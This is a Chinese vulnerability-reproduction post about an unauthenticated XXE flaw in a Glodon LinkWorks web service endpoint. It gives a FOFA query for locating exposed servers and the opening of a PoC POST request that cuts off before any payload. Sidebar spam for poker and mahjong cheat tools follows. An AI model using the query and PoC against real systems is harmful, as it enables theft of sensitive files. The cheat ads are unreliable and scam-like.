广联达Linkworks ArchiveWebService XML实体注入漏洞复现
创始人
2025-01-07 20:36:42
0次
0x01 产品简介
广联达 LinkWorks（也称为 GlinkLink 或 GTP-LinkWorks）是广联达公司（Glodon）开发的一种BIM（建筑信息模型）协同平台。广联达是中国领先的数字建造技术提供商之一，专注于为建筑、工程和建筑设计行业提供数字化解决方案。
0x02 漏洞概述
广联达 LinkWorks /GB/LK/Document/ArchiveService/ArchiveWebService.asmx接口处存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。
0x03 复现环境
FOFA：
body="Services/Identification/login.ashx" || header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"
0x04 漏洞复现
PoC
POST /GB/LK/Document/ArchiveService/ArchiveWebService.asmx HTTP/1.1 Host: Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://GB/LK/Document/ArchiveService/ArchiveWebServi相关内容
热门资讯
4分钟绝活!wepoker辅助...
4分钟绝活!wepoker辅助器(透视)确实真的有辅助下载(哔哩哔哩)wepoker辅助器能透视中分...
透视经验！wepoker免费脚...
透视经验！wepoker免费脚本弱密码（透视）开挂脚本插件（哔哩哔哩）1、wepoker免费脚本弱密...
第1分钟脚本！九游辅助器，欢乐...
第1分钟脚本！九游辅助器，欢乐达人猜猜看脚本（真是真的是有辅助安装）-哔哩哔哩1、任何欢乐达人猜猜看...
我来教教你"旺旺福建...
我来教教你"旺旺福建麻将辅助器"果然真的是有辅助挂(有挂方略)-哔哩哔哩1、该软件可以轻松地帮助玩家...
第九分钟课程!拱趴大菠萝作必弊...
第九分钟课程!拱趴大菠萝作必弊方法(透视)总是是有辅助教程(哔哩哔哩)1、金币登录送、破产送、升级送...
透视方针！we-poker靠谱...
透视方针！we-poker靠谱吗（透视）开挂脚本修改器（哔哩哔哩）1、we-poker靠谱吗辅助器安...
两分钟辅助！欢聚水鱼智能辅助a...
两分钟辅助！欢聚水鱼智能辅助app，决战卡五星辅助修改器（切实真的是有辅助神器）-哔哩哔哩1、许多玩...
记者获悉"传送屋软件...
记者获悉"传送屋软件下载辅助"一直是真的有辅助软件(存在有挂)-哔哩哔哩1、打开软件启动之后找到中间...
第四分钟法子!hh poker...
第四分钟法子!hh poker透视器下载(透视)好像是真的有辅助开挂(哔哩哔哩)1、hh poker...
透视机巧！智星菠萝辅助（透视）...
透视机巧！智星菠萝辅助（透视）开挂透视平台（哔哩哔哩）1、玩家可以在智星菠萝辅助透视最简单三个步骤对...